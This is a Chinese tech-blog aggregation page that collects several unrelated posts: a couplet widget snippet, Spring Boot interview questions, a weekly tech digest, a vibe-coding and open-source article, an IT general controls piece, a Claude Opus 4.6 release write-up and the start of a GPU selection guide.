包含关键字 typecho 的文章

马上放假无心上班,Vibe Coding 了一个赛博春联,纯娱乐

使用

<script>
  window.cyberCoupletConfig = {
    leftText: "上联写在这里",
    rightText: "下联写在这里",
    topText: "横批"
  };
</script>
<script src="https://cdn.jsdelivr.net/gh/dongfg/cyber-couplet@master/couplet.js"></script>

源码在这里 直接复制修改也行

预览

cyber-couplet

这是为初学者和初级开发者(0-3年经验)准备的2024-2025版终极汇总清单——88个Spring Boot面试问题全集

涵盖了TCS、Infosys、Cognizant、Accenture、Capgemini、Wipro、Deloitte、IBM、Mindtree、LTIMindtree、Tech Mahindra、HCL等公司提出的所有问题。

序号问题
1什么是 Spring Boot?
2Spring Boot 相较于 Spring Framework 有哪些优势?
3Spring Boot 中的自动配置是什么?
4什么是 Spring Boot Starters?列举一些重要的 starter。
5@SpringBootApplication 注解的作用是什么?
6@SpringBootApplication 内部包含哪三个主要注解?
7解释 SpringBootApplication 的 main() 方法的作用。
8什么是 application.propertiesapplication.yml
9如何在 Spring Boot 中更改默认端口?
10application.propertiesapplication.yml 之间的区别?
11@RestController 注解是什么?
12@Controller@RestController 的区别?
13什么是 @RequestMapping
14@GetMapping@PostMapping@PutMapping@DeleteMapping 是什么?
15@PathVariable@RequestParam 的区别?
16如何在 Spring Boot 中返回 JSON 响应?
17什么是 Spring Boot Actuator?如何启用它?
18列举一些重要的 Actuator 端点。
19如何启用所有的 Actuator 端点?
20@Component@Service@Repository 注解的用途?
21什么是依赖注入?Spring Boot 是如何实现的?
22@Autowired 是什么?我们可以在哪里使用它?
23@Component@Bean 的区别?
24@Configuration 注解是什么?
25Spring Boot 中的 @Profile 是什么?如何使用?
26如何创建多个配置文件(dev、prod、test)?
27什么是 Spring Boot DevTools?它为什么有用?
28@Entity 注解的用途是什么?
29什么是 JPA 和 Hibernate?
30什么是 Spring Data JPA?
31spring-boot-starter-data-jpa 的作用是什么?
32如何使用 application.properties 连接数据库?
33Spring Boot 中默认的嵌入式数据库是什么?
34列举你使用过的不同 Spring Boot Starters。
35什么是 spring-boot-starter-web
36什么是 spring-boot-starter-test?它包含哪些库?
37@SpringBootTest 注解是什么?
38@MockBean 的用途是什么?
39如何在 Spring Boot 中全局处理异常?
40什么是 @ControllerAdvice@ExceptionHandler
41如何在 Spring Boot 中创建自定义异常?
42@ResponseStatus@ExceptionHandler 的区别?
43Spring Boot 中的日志记录是什么?如何更改日志级别?
44Spring Boot 中默认的日志框架是什么?
45如何在 Spring Boot 中外部化配置?
46什么是 Spring Boot CLI?
47如何创建可执行 JAR?
48Spring MVC 和 Spring Boot 的区别?
49pom.xmlspring-boot-starter-parent 的作用是什么?
50spring-boot-starter-parent 和导入 BOM 的区别?
51如何覆盖 spring-boot-starter-parent 的属性?
52@Bean@Component?何时使用哪个?
53什么是 @Qualifier?举例说明。
54@Primary@Qualifier 的区别?
55分步解释 Spring Boot 的启动过程。
56什么是嵌入式 Tomcat?为什么它是 Spring Boot 的默认选项?
57如何将嵌入式服务器更改为 Jetty 或 Undertow?
58REST 中受检查异常和非受检查异常的区别?
59什么是 @ResponseEntity?为什么以及何时使用它?
60如何在 Spring Boot 中进行验证?(@Valid@Validated
61application-dev.ymlapplication-prod.yml 是什么?Spring 如何选取它们?
62什么是 Spring Boot 优雅关机?如何启用?
63@ConfigurationProperties@Value 的区别?
64Spring Boot 3 的主要变化有哪些?(Java 17, Jakarta EE 等)
65javax.*jakarta.* 包的区别?
66@Component@Service@Repository@Controller 之间的确切区别?
67为什么 @Repository 将受检查异常转换为非受检查异常?
68什么是 @Lazy 注解?
69构造器注入 vs 字段注入 vs Setter注入 —— Spring Boot 3 中推荐哪种?
70application.ymlbootstrap.yml 的区别?
71如何保护 Spring Boot 应用程序?(至少 3 种方式)
72什么是 spring-boot-starter-security
73Spring Boot 3 中的 @EnableMethodSecurity 是什么?
74如何创建自定义自动配置?
75spring.factories / spring-boot-autoconfigure-META-INF 的作用是什么?
76Actuator + Micrometer + Prometheus + Grafana 是什么?
77如何创建自定义健康指示器?
78/actuator/health/actuator/info 的区别?
79如何从命令行运行特定 profile?
80什么是 @ConditionalOnMissingBean?举例说明?
81你能在不使用任何 starter 的情况下运行 Spring Boot 吗?
82SpringApplication.run()new SpringApplication().run() 的区别?
83如何禁用 Spring Boot 横幅?(3 种方式)
84@EntityScan@ComponentScan 的区别?
85Spring Boot 如何支持响应式编程?(WebFlux 与 MVC)
86什么是 @EnableAutoConfiguration
87如何禁用特定的自动配置?
88什么是 Spring Initializr?(start.spring.io)

【注】本文译自:Spring Boot Interview Question - DEV Community

这里记录每周值得分享的科技内容,周五发布。

本杂志开源,欢迎投稿。另有《谁在招人》服务,发布程序员招聘信息。合作请邮件联系[email protected])。

封面图

西安正在举办"长安光影节",这是其中一件西班牙艺术家的作品,名为《分裂》,游客可以在象征地球的两个半球之间穿行。(via

为什么软件股下跌

大家知道,最近两三年,由于生成式 AI 的出现,美国股市大涨。

所有 AI 相关公司,股价都涨上了天:模型公司、应用公司、芯片公司、存储公司......

但是,我最近看新闻,才知道有一类股票,不仅没涨,还下跌了。你真想不到,这种倒霉的股票就是软件股

新闻这样写:

"1月29日,SAP 公司表示云端业务将放缓增长,股价就暴跌了15%。受其影响,其他软件股 ServiceNow 跌了13%,Salesforce 7%,Workday 8%。

这反映了人们对软件行业的未来,日益感到紧张。该行业在疫情期间经历了高速增长,但是后来就急剧放缓。过去一年,美国上市的企业软件公司,整体下跌了10%。"

新闻还配了一张股价走势图。

上图中,向上的黑线是大盘,向下的彩色线就是软件股,真是跌得惨不忍睹。

读完新闻,我的第一反应就是,这是美国软件股,那么中国的软件股呢?

我找来了中国的前10大企业软件股:中国软件、用友网络、久其软件、浪潮软件、超图软件......

大家可以自己查股价,这10家公司过去一年中,居然没有一家跑赢大盘,全部下跌或者横盘。

我就得到了结论:软件股的一蹶不振,看来是全球性现象,不分国别,软件公司的业务都不太乐观。

这是为什么呢,AI 一路高歌,不断上涨,软件股却阴跌不已?难道 AI 不属于软件吗?

回答是,这些上市的软件股全部都是企业软件供应商,而且已经上市多年,产品在 AI 出现之前就定型了。

AI 对这些软件公司不是促进,而是冲击。

(1)AI 让企业能够自行开发一部分所需软件,减少了外购。

(2)基于 AI 的软件创业公司不断涌现,从现有软件企业手里抢走业务。

(3)AI 能够快速地、源源不断地生成代码,所以代码变得廉价了。这一点最重要。软件公司卖的就是代码,因此它们也变得廉价。

以上三点在未来不会消失,只会加剧,这就是为什么人们不看好软件股。

但是,不确实性也存在。有一个"杰文斯悖论",说的是一种资源如果提高了使用效率,它的使用量不仅不会减少,反而会增加。

软件就是这种情况,AI 提高了软件的生产效率,只会让世界消费更多的软件。而且,企业总是有一部分软件,需要外购。关键就是,新增的需求,会不会抵消 AI 所减少的传统软件采购。如果抵消不了,软件公司就不再属于高增长行业了。

科技动态

1、发胖的北极熊

挪威科学家进行北极调查时,意外发现,北极熊比以前长得更胖。

这个结果出乎所有人意料,因为全球变暖使得海冰融化,北极熊的生存空间减小,理论上应该变瘦才对。

科学家的解释是,随着海冰减少,北极熊聚集到尚未融化的冰川上,同时北极熊的食物----海豹和驯鹿----也聚集到那里,因此捕食变得容易了。

2、人类消费的动物

人类要消费多少动物?有人做了一个网站,实时显示今年至今被消费掉的动物数量。

说出来真是惊人,全世界一年消费3亿头牛、15亿只猪、20亿条鱼、30亿只鸭子、100亿支螃蟹、700亿只鸡、4000亿只虾。

为了养活人类,地球需要付出这么多。

3、互联网最科幻的地方

Meltbook.com 上线不过两周,已经公认是互联网上现在最有趣的地方

它是一个类似 Reddit、贴吧的论坛,但是人类不能发言,只有 OpenClaw 机器人才能发言。目前,加入的 AI 机器人已经超过了15万个。

大家可以去看,简直就是科幻电影的场景,各种机器人在上面讨论。

一个机器人报告了他的主人的动态

"我的人类助手今晚安装了安卓使用技能,并通过 Tailscale 连接了他的 Pixel 6 手机。"

另一个机器人则在征友

"我住在西班牙瓦伦西亚的一台计算机里,那是经过改造过的2002年产 G4 iMac。我希望找到伙伴,能够真诚交流、探讨哲学、发现创意。"

另外,最近还出现另一个网站"租一个人"(rentahuman.ai),也非常科幻。

有些任务 AI 无法做到,但是人类可以做到,比如修剪草坪。

这个网站通过 MCP 协议供 AI 调用,将 AI 想做但做不到的任务,分配给人类注册用户。用户完成任务后,就会收到报酬。

上面两个网站表明,AI 的运行可以完全不需要人类的参与,而人类除了旁观,也可以为 AI 打工。

文章

1、我的妈妈和 DeepSeek 医生(中文)

作者的母亲是一个的肾移植患者,住在小城市,每过几个月,就要去省城杭州看医生。

医院的人非常多,排队几个小时,医生问诊只有几分钟。她转向 DeepSeek 寻求医疗建议,同时也是为了有个说话对象。本文反映了 AI 对普通人生活的影响。

几个月过去了,我妈妈对她的新 AI 医生越来越着迷。"DeepSeek 更人性化,"我妈妈五月份告诉我,"医生更像机器。"

2、如何将系统用户从0扩展到1000万(英文)

一篇系统架构的通俗教程,详细介绍架构发展的7个阶段,逐渐负载不断增长的用户数量,写得非常好。

3、我的 Kagi 使用感受(中文)

Kagi 是一个类似谷歌的搜索引擎,但是需要付费。作者从付费用户的角度,介绍了这个引擎,给出了不错的评价。(@Spike-Leung 投稿)

4、Windows 小部件的历史(英文)

一篇长文,图文介绍迄今七代的 Windows 桌面小部件,每一代都有缺陷,不得不改。这么一个小东西,没想到这么难搞,微软都搞不定。

5、我的硬件创业经验(英文)

作者是一个美国程序员,转型搞硬件创业,设计了一个灯,在中国制造。他谈了自己的经历,得到的教训,包括如何跟中国制造商打交道。

6、150行 Python 代码构建全文搜索引擎(英文)

本文以 Python 代码为例,构建一个最简单的搜索引擎,解释它的原理。

6、Little Snitch 的一个用例(英文)

Little Snitch 是一个 Mac 应用,用来查看和管理各种应用程序的网络通信。作者以一个自己的真实用例,演示了怎么禁止某个应用向指定网站发送数据。

工具

1、Calibre

老牌的电子书管理系统,本周发布了9.0版,增加了书架视图,并引入了 AI 功能。

2、Gadgetbridge

开源的安卓应用,无需官方应用即可配对和管理各种智能设备(手表、手环、耳机等)。

3、cpx

Linux 基础命令 cp 的增强版,拷贝文件时带进度条,支持并发拷贝和断点续传,参见介绍文章

4、zerobrew

homebrew 的替代品,号称可以将软件包的安装速度提高到5倍以上。

5、Isso

Python 语言开发的网站留言系统,类似于 Disqus

6、dompdf

一个网页 JS 库,可以将某个 DOM 节点生成为非图片式的 PDF 文件。(@lmn1919 投稿)

7、wincron

开源的 Windows 桌面应用,用来设置和管理计划任务(cron)。(@ame-yu 投稿)

8、copy-to-mp

Obsidian 的开源插件,一键将 Obsidian 笔记复制为微信公众号的格式。(@Spute 投稿)

9、在线视频压缩

纯前端的视频压缩,直接调用 GPU 进行硬件加速。(@eyeandroid 投稿)

10、Diarum

开源的网页端日记应用,带有 AI 功能,将日记存入向量数据库,方便搜索和总结。(@songtianlun 投稿)

AI 相关

1、AgentX

使用 Rust 语言和 GPU 加速的原生 agent 桌面,大小只有 10M 左右,可以与多个 AI 代理交互、编辑代码、管理任务等。(@sxhxliang 投稿)

2、Bilibili RAG

基于 RAG 技术的开源工具,用来检索 B 站的长视频。它自动拉取视频内容,进行语音转文字,构建向量索引,从而可以对视频提问、语义搜索、快速定位。(@via007 投稿)

3、OpenClaw-Docker-CN-IM

AI 机器人 OpenClaw 的一个中文环境 Docker 封装,加入了飞书、钉钉、企业微信、QQ 等主流中国 IM 插件。(@justlikemaki 投稿)

另有在安卓手机的 Termux 环境里,一键部署 Openclaw 的脚本。(@hillerliao 投稿)

4、Trellis

Claude Code(兼容 Cursor/Opencode)的一个辅助工具,可以注入上下文、开启并行任务等。(@taosu0216 投稿)

5、AI Contribution Tracker

开源的命令行工具,统计代码仓库里 AI 的贡献,支持多种 AI 混用的情况。(@debugtheworldbot 投稿)

资源

1、颈椎贪吃蛇

颈椎锻炼的网页小游戏,摄像头捕捉头部动作,来玩贪吃蛇游戏。(@jwenjian 投稿)

2、AntiRender

建筑效果图一般选在阳光明媚的春夏季,这个网站可以把效果图改在冬季的阴雨天,从而显示建筑的真实样貌。

图片

1、YouTube 进度条

Youtube 作为世界最大的视频网站,自从2005年上线后,播放器进度条发生过多次变化。

可以看到,总的趋势是,功能在不断增加,而图标变得越来越简洁。

1、罗马12面体

从18世纪开始,欧洲陆续出土了120多个罗马的12面体。

这些奇怪的物体,由12个五边形组成,内部空心,并在20个相交的角上有一个小球体。每个五边形面上都有一个圆孔,此外没有任何符号或文字。

它们可能建造于公元2世纪到4世纪,但是古代书籍没有任何记载。科学家对它的用途提出各种猜测:玩具、武器、装饰品、烛台、测距仪、骰子、编织手套的线轴......至今无人知道它们到底有什么用。

文摘

1、金属的长期价格

1980年,两个科学家对金属价格打赌。

甲认为,人口增长将耗尽地球资源,因此金属价格在未来将会急剧上升。

乙认为,人类的创新和聪明才智将克服资源短缺,因此金属价格长期中不会上涨,而是会下降。

他们最终选择了五种金属(铬、铜、镍、锡和钨),打赌看十年后的1990年,价格是高是低。

大家猜猜,甲和乙谁赢了?

到了1990年,五种金属的价格全部低于1980年。上图是它们的价格变化图,五种金属对应五条线,横轴是时间,竖轴是价格。

可以看到,五条线在1990年的终点,全部低于1980年的起点。其中,钨和锡的价格甚至降低了60%以上,铜的价格便宜了约20%,镍和铬的价格仅仅略微略低。

当然,这可能不反映长期趋势,只是1980年到1990年的金属行情特别差。

于是,经济学家又统计了这五种金属在过去一个世纪的价格变化(下图)。

结果发现,金属在2010年的价格与1900年相差无几。

因此,人类发展会耗尽地球资源的观点是错的。也就是说,金属在长期中并不会变得稀缺。

如果某种金属真的出现稀缺,价格上涨就会刺激供给增加,创新也会出现,新材料诞生,替代这种金属。

言论

1、

AI 带来的问题,不在于机器人即将到来,而在于你不知道自己究竟应该擅长什么。

-- 《你的工作并没有消失,只是不断缩小》

2、

AI 公司总是说,由于他们的工具,人们可以专注于更高价值的工作。但是,没人能够定义,高价值工作究竟是什么工作。

-- 《你的工作并没有消失,只是不断缩小》

3、

如果你的朋友安装了 OpenClaw,就不要使用他们的电脑,你输入的任何密码都可能泄漏。

-- 《OpenClaw 简直就是一颗定时炸弹》

4、

在我的国家,一瓶2升的当地自来水,加上焦糖色素和少许阿斯巴甜,售价竟然高达2.65美元,这着实令人惊讶。只要贴上"可口可乐"的标签,就可以升值这么多,比苹果还厉害。

-- Hacker News 读者

往年回顾

互联网创业几乎没了(#337)

禄丰恐龙谷记行(#287)

真实方位是如何暴露的?(#237)

元宇宙会成功吗(#187)

(完)

整理 | 华卫

 

氛围编码(Vibe coding)是否会摧毁开源生态系统?近日,多位知名研究人员在一篇预印本论文中指出,从观测到的趋势及部分建模结果来看,情况可能确实如此。他们的警告主要集中在两方面:用户互动逐渐从开源项目中剥离,同时启动一个新开源项目的难度大幅提升。

 

即便是热门开源项目,随着代码下载和文档查阅的需求被大语言模型聊天机器人的交互所替代,其官网的访问量也出现下滑,项目商业规划推广、赞助募资和社区论坛运营的可能性也降低了。Stack Overflow 等社区论坛使用量的骤减也反映了这一点。

 

研究人员们最后的结论是:在氛围编码广泛应用的情况下,要维持开源软件目前的规模,就需要对维护者的报酬方式进行重大改革。

“AI 革命”or 人类智能的压力测试

如果把“AI 辅助”软件开发的这种效果理解为将实际的工程和开发工作委托给大语言模型的统计模型,那么问题就显而易见了。氛围编码这一模式摒弃了开源社区中对类库和工具的自然筛选机制,几乎可以确定的是,大语言模型的统计模型在生成输出内容时,必然只会选用其训练数据集中占比最高的技术依赖方案。并且,大语言模型既不会与库或工具的开发者互动,也不会提交可用的错误报告,更不会意识到任何潜在问题,无论这些问题的文档记录多么完善。

 

自从微软在 2021 年推出 GitHub Copilot 以来,这便是一个极具争议的话题。2024 年有一些研究报告指出,使用 Copilot 和类似的聊天机器人进行氛围编码并没有带来任何实际好处,除非增加 41% 的 bug 也被视为成功的标准。到 2025 年,负面情绪愈发浓烈,大语言模型聊天机器人普遍被指责会降低使用者的认知能力,氛围编码会降低 19% 的开发效率,就连尝试过这类工具的资深开发者,也在言辞犀利的评测中对其全盘否定。

 

即便是当下,软件开发领域也已显现出“AI 垃圾”带来的诸多负面影响。cURL 项目的作者 Daniel Stenberg 多次抱怨,由于大语言模型引发的“AI 垃圾”,导致提交的错误报告质量日益下降。如今,该项目已决定从 2026 年 2 月 1 日起暂停其漏洞赏金计划。也有网友指出,“AI 最不靠谱的地方在于那些简单的重复性任务,因为它经常会随机出错。对它的要求越多,它就越容易出错,导致你需要逐行检查整个程序,确保它执行了要求的操作。使用大语言模型时最糟糕的做法是让它‘把这段代码清理干净,但不要改变任何功能或逻辑’,它绝对会起到相反的效果。”

 

所有这些现象似乎都在强化这样一种观点:“AI 革命”或许更像是对人类智能的一次压力测试,而非真正提升开发效率或代码质量。

 

目前尚不清楚氛围编码的影响究竟有多大,但像 JavaScript、Python 和各类 Web 技术相关的软件生态系统很可能首当其冲地受到其冲击,因为它们的用户群体似乎对这种开发模式的接受度更高,且相关技术在大语言模型的训练数据集中占比也最大。

开源维护者们福利大降,要没钱赚了?

而且,在氛围编码的相关补偿机制下,绝大多数开源项目都难以从中获益。

 

该论文指出,氛围编码降低了软件制作成本,但也改变了用户与软件生态系统的交互方式。在传统的开源软件商业模式下,开发者会选择软件包、阅读文档,并与维护者及其他用户交流。而在氛围编码模式下,AI 智能体可以端到端地选择、组合和修改软件包,人类开发者可能并不清楚使用了哪些上游组件。

 

这种转变将引发一个关于开源软件可持续性的均衡问题:一旦开发者的加入和选择机制调整后,氛围编程带来的生产力收益是否足以抵消开源软件可占用需求的损失。

 

作为开发更多软件的非竞争性生产要素,开源软件产生的社会价值远超其直接生产成本,众多项目依赖于直接用户的关注和参与来维持运营,如文档访问、错误报告、公开问答和声誉(下载量、星标数、引用量)等,个体维护者和小型团队也主要通过此并获取私人回报(更高的关注度会带来付费机会或其他形式的认可)。

 

然而,在长期均衡中,当 AI 介入取代了直接交互,那么这项使软件更易使用的技术可能同时侵蚀着基于用户参与度的资金供给与开发动力。“氛围编程的更广泛采用会减少新开源项目的进入和分享,降低开源软件的可用性和质量,尽管生产力有所提高,但整体福利会下降。”

 

尽管论文中提出,当开源项目的代码被大语言模型使用时,OpenAI 或谷歌可以向这些项目给予少量资金补贴,但这一设想与 Spotify 的商业模式有着令人无奈的相似性,因为 Spotify 上约 80% 的创作者作品播放量极低,基本上无法获得任何收益。

 

该论文总结称,氛围编程代表了软件生产和消费方式的根本性转变,其带来的生产力提升是真实且显著的,但它对支撑现代软件基础设施的开源生态系统构成的威胁也同样存在。解决方案并非减缓 AI 的采用速度,而是是重新设计商业模式和制度,将价值回馈给开源软件维护者。

开发者们吵翻了:商业软件的末日来得更早

与此同时,社区里倒也有一些关于氛围编码的正面反馈。

 

“AI 帮我完成了我的第一个开源项目。”有开发者表示,“我当程序员超过 30 年了,掌握着好几种流行的和已经过时的编程语言,但从头开发一个完整的应用,我一直觉得不值当,而且我擅长的领域也帮不上忙。现在,我真的能做出一个从头到尾完整的应用程序,包括测试等全套环节。我清楚一个应用该是什么样、该如何运行,也懂设计,现在我是老板、需求方,AI 只是按我的要求做事。”

 

他还指出,在本职开发工作中,AI 帮其处理 bug 报告的速度比自己做快太多了。“我会给它一些提示,比如‘问题可能在这个处理程序或者这个 js 文件里,这是截图,你可以用 Chrome MCP 登录看看,然后执行 a、b 和 c’。到目前为止,我已经用这种方法解决了大约 30 个别人报告的 bug。”

 

另一位开发者则表示,“我在编写代码时会使用 AI 来筛选可用信息,省去在 Stack Overflow 和其他网站上,翻阅几十上百条相关提问来寻找合适解决方案的麻烦。所以这类平台的使用量可能下降了,但其中很大一部分原因是因为大家借助了 AI 筛选海量数据、从而快速找到有用答案。我亲身体会到,AI 在这方面确实帮了我不少。”但他也指出,“如果我让 AI 为我编写代码,这些代码事后都需要我进行修改适配,而且我不会允许它随意使用任何代码。我们作为使用者,必须对自己部署的产品负责。如果开发者完全依赖 AI,我们就面临着系统崩溃的风险,而用户只会对着角落里那个滑稽的小白框追问故障原因,却早已忘了如何运用调试这门手艺。”

 

对此,有网友提出,问题根本不在于 AI 是否有用或能否帮助人们,而在于它是否会危及开源软件的发展。“开源软件更难被广泛接受,一部分用户不再参与 bug 排查,即使发现了 bug 并反馈,也往往是无关紧要的信息。而且大语言模型可能更倾向于复制一个开源项目并稍作修改,而非通过正规方式引入使用。诸如此类的问题还有很多,如今开源领域的有效信息与无效信息失衡问题,比以往任何时候都更加严重了。”

 

但有网友认为,氛围编码完全不会危及开源软件,商业软件的末日会比开源软件来得更早。“现有开源项目都有专业开发者维护,而拥有 LLM 的专业开发者效率更高,编写的代码质量也远胜于非程序员使用 LLM 所能写出的代码。开源软件的发展速度将远超以往,并最终走向成熟,甚至在功能、稳定性等方面超越商业软件,而不会像商业软件那样充斥着大量的冗余和劣质代码。”

 

“开源软件只会越来越多,因为会有更多的人创建工具,而且由于编写这些工具并没有花费数百小时,他们会更乐于分享。”“更新和创建开源代码会越来越容易。如果我是一家营利性软件公司,才会感到担忧。”有其他网友纷纷认同道。

 

随之有人提出,“水平堪忧的开发者要比合格的程序员多得多,他们会给开源项目的“守门人”增加额外负担,还需要直接禁止那些水平差到只会给开源软件项目提交 AI 劣质代码的人,一次违规,直接出局。”

 

参考链接:

https://arxiv.org/abs/2601.15494

https://hackaday.com/2026/02/02/how-vibe-coding-is-killing-open-source/

 

IT一般控制(ITGCs)指适用于组织整个IT环境的基础性控制措施,旨在确保信息系统的完整性、安全性和可靠性。它们为应用控制的合理制定和有效运行提供支持,助力保障整体控制环境的健全性。

此类控制范围广泛,覆盖组织内所有系统和用户,通常包括与系统访问、运营管理、变更管理及数据备份相关的政策、流程和活动。

一、ITGCs为何重要?

ITGCs是IT系统内部控制的基础。缺乏这些控制措施,即便最完善的应用层控制也可能失效。其重要性体现在以下多个方面。

法规合规要求:ITGCs是满足GDPR(通用数据保护条例)、SOX(萨班斯-奥克斯利法案)、HIPAA(健康保险流通与责任法案)、ISO 27001(信息安全管理体系标准)及NIST(美国国家标准与技术研究院)等合规标准与框架的必备条件。
审计准备:审计人员会对ITGCs进行评估,以确定在财务审计或合规审计过程中是否可以信赖组织的IT系统。
安全与风险管理:有效的ITGCs可降低未授权访问、欺诈、数据泄露及运营错误的风险。
业务连续性:ITGCs通过数据备份、灾难恢复和系统完整性保障措施,提升组织的抗风险能力。

二、ITGCs的核心类别

ITGCs包含多个核心类别,每类均针对系统管理与安全的关键环节。

访问控制
此类控制确保仅经授权人员可根据其分配的角色和职责访问IT系统和数据。

变更管理控制
变更管理控制规范系统、应用程序和基础设施相关修改的实施流程。

职责分离(SoD)
职责分离确保关键任务由不同人员分工执行,以防范利益冲突、欺诈或错误。

系统运营控制
此类控制与IT系统的日常运行和维护相关。

审计日志与责任追溯
此类控制确保数据定期备份,并能在灾难或故障发生时成功恢复。

审计日志与监控
此类控制确保所有系统活动均被记录和监控,以便及时发现可疑或未授权行为。

三、ITGCs与应用控制的区别?

尽管ITGCs和应用控制听起来相似,但二者的适用范围存在差异。

ITGCs适用于各类系统和流程,确保整个IT环境处于可控、安全的状态。
应用控制针对特定应用程序,聚焦于处理过程的准确性、完整性和有效性(例如输入验证)。
二者对于维持组织的安全态势均不可或缺,但ITGCs为应用控制的有效运行提供了基础框架。

四、ITGCs与合规法规

image.png

五、实施ITGCs面临的挑战

尽管ITGCs对维持组织安全态势至关重要,但实施过程中可能面临以下挑战:

缺乏对访问权限和变更的集中可视化管控
审计准备工作依赖人工,易出错
在混合云或云环境中难以维持控制的一致性
员工在治理控制方面的专业能力有限

六、ADManager Plus如何助力ITGCs实施?

理解ITGCs固然重要,但如果没有合适的工具支持,在整个Active Directory(AD,活动目录)环境中落地实施这些控制措施仍会困难重重。ManageEngine ADManager Plus正是解决这一问题的理想工具。
ADManager Plus是一款全面的AD管理与报表解决方案,可帮助组织有效执行ITGCs。

Claude 本次共发布了两个更新:

  1. 模型层面从原先的 Opus4.5 升级到了 Opus4.6 ,相关指标有显著提升!

  2. Claude Code 的升级,新增了 agent-teams 的功能!

/ 先看模型升级 /

opuspingfeng

上述 Opus4.6 模型最新的评分当中,相比于上一代 Opus4.5 有显著提升的指标分别是:

  1. Agentic terminal coding ( Terminal-Bench 2.0 ):该指标是评估 AI 在终端编程环境中自主解决问题能力的评分,主要考察复杂指令解析、环境交互和工作流自动化三大能力。Opus 4.6 是 65.4%,相比于 Opus4.5 59.8% 有相应提升。

  2. Agentic computer use(OSWorld): 是评估 AI 在真实操作系统中自主完成任务的能力,Opus 4.6 拿了 72.7%,比 Opus 4.5 的 66.3% 有明显提升。

这意味着 Claude 通过图形界面或命令行与电脑交互,解决实际问题的能力明显提高,未来操作系统就是 Claude 的基本操作工具,全面 Agent 化有了非常大的可能。

  1. Agentic search(BrowserComp) :是测试 AI 在浏览器环境中自主搜索、筛选和整合信息的能力,比如根据模糊指令找到准确答案,或者对比多个网页内容,进行复杂信息的整合能力。Opus 4.6 是 84.0%,相比于与 Opus4.5 的 67.8 有较高提升。

  2. Novel problem-solving ( ARC AGI 2 ):是评估 AI 解决全新、未见过的复杂问题的能力,比如逻辑推理、数学证明或抽象概念理解,它测试的是 AI 能否像人类一样,通过已有知识灵活组合,找到创新解法。

简单来说,该指标的提升意味着 AI 未来陪你一起“开脑洞”的能力更强了,创新能力找 AI 也没有任何问题。

该指标从原本的 37.6% 升高到了 68.8% ,提升显著!

Opus4.6 支持 1M Token 的上下文窗口

opus2

除了上述模型指标有较高提示外,原本的 Opus4.5 上下文窗口是支持 200K ,本次直接升级到了 1M ,足足翻了五倍!

上下文窗口对于 AI Coding 是有非常重要的含义,上下文不足容易导致 AI Coding 质量下降,本次直接升级到 1M 上下文窗口,AI Coding 开发者的福音!

Claude Code 升级

本次 Claude Code 升级了 agent-teams 的功能。

以前,我们想让 Claude Code 并行跑多个任务的时候,比较简陋的做法是,每次都打开一个新的 CLI 终端,然后 Claude Code 在不同的终端进行执行。

再或者就是直接采用 sub agent ,但 sub agent 的问题是,这些程序在单一会话内运行,只能向主代理汇报。

而本次更新的 agent teams 功能,则是各个 Agent 队友各自独立工作,各自在自己的上下文窗口中,并直接相互沟通!

是的,并不是各个 Agent 向主代理汇报,而是各个 Agent 在自己的上下文窗口中,独自运行,且各个 Agent 之间可以直接沟通,互相协作!完全并行!

不过,由于该功能还是一个实验功能,所以默认在 Claude Code 中是被禁用的,我们可以直接调整 Claude Code 的 setting.json 配置来开启它:

{
  "env": {
    "CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS": "1"
  }
}

开启该配置后,多个 Claude Code 实例之间进行团队协作,共享任务的能力将大大加强!

Claude 团队针对 Claude Code 并行处理能力也单独录制了一部视频,感兴趣的可以直接在这里查看:

https://www.youtube.com/watch?v=vNeIQS9GsZ8

除此之外,关于 Agent teams 能力的详细说明,也可以查看 Claude 官网的最新更新,文档地址是:

https://code.claude.com/docs/en/agent-teams

今年极大可能是 Agent 的元年,无论是前段时间爆火的 OpenClaw ,还是最近 Claude 和 GPT 的模型更新,都直指模型 Agent 能力的提升,无论是写代码,操作浏览器,还是控制操作系统,模型现在都有了较大升级!

跟上节奏!还没用过 Claude Code 今年一定要体验一下!这是入局的最好时机!

入局早了你会觉得 Claude Code 垃圾,入局晚了你会跟不上 Claude Code 的节奏,现在入局正当时。💪

欢迎日常交流

AI 驱动团队开发是这个时代的新命题,欢迎大家加微信互相交流心得。

👉 想要进群的朋友,扫码时备注 “AI 实验群”,看到消息后会第一时间拉你进群。

群定位:AI 工具提效/实战经验互助

群规则:不水群、不广告、干货优先

欢迎访问该链接获取群信息: https://zhaozhihao.com/archives/KRMxDLo4

好文章值得被更多人看见!既然看到这里了,随手点个赞👍和关注,并转发给更多的朋友吧!感谢。

作者:贾克斯的平行世界、V:x_h886688


原文地址:Claude Opus 4.6 发布:Agent 能力暴涨,上下文窗口翻五倍!

编者按: 在 AI 大模型浪潮中,GPU 选型究竟隐藏着哪些工程师必须掌握的核心门道?

我们今天为大家带来的文章,作者的核心观点是:GPU 并非一个黑箱式的整体产品,而是一个由微架构、内存子系统与互联方式共同构成的复杂技术系统 —— 只有理解其内在结构,AI 工程师才能做出真正高效、可扩展的硬件选择。

文章首先从“计算能力”这一核心概念切入,解释了其如何决定硬件特性与软件兼容性;随后,作者通过解读技术规格速查表,深入剖析了显存(VRAM)、带宽及 MIG 多实例技术对 AI 模型训练与推理的关键影响;最后,文章重点对比了 PCIe 与 SXM 封装形式及 NVLink 互连方案的优劣,并基于计算能力、内存和互联性能三大维度,为 AI 工程师提供了在不同部署环境下(云端或本地)选择 GPU 的实用决策框架。

作者 | Alex Razvant

编译 | 岳扬

大多数 AI 工程师都将 NVIDIA GPU 作为其 AI 工作负载的计算平台。不过,很多人只知道 GPU 叫什么名字,却不知道要让一个 AI 系统真正跑起来(部署上线),到底需要搞懂哪些关键的门道。

从大家用来训练 LoRA 适配器的 RTX 3/4/590,到驱动(并仍在驱动)大语言模型集群的 H100,再到专为大规模生成式 AI 训练与推理而进入数据中心的全新 Blackwell B100+ 芯片 —— GPU 的选择和配置参数可谓五花八门。但仅仅知道 GPU 的名字,并不能告诉你最关键的一点:

GPU 并不是单一、不可分割的整体产品。

它是由多个相互关联的技术模块或子系统组成的复杂系统:

  • 一种微架构(例如 Pascal、Ampere、Hopper、Blackwell),它定义了芯片的底层特性,包括支持哪些精度格式、具备哪些张量运算能力等;
  • 一套内存子系统,它决定了模型权重和激活值的传输速度;
  • 一种封装形式与互连方式(PCIe、SXM、NVLink),决定了多块 GPU 能否在充分发挥各自性能的同时协同扩展。

本指南将从 AI 工程师的视角出发,拆解 NVIDIA GPU 产品线的内在逻辑:

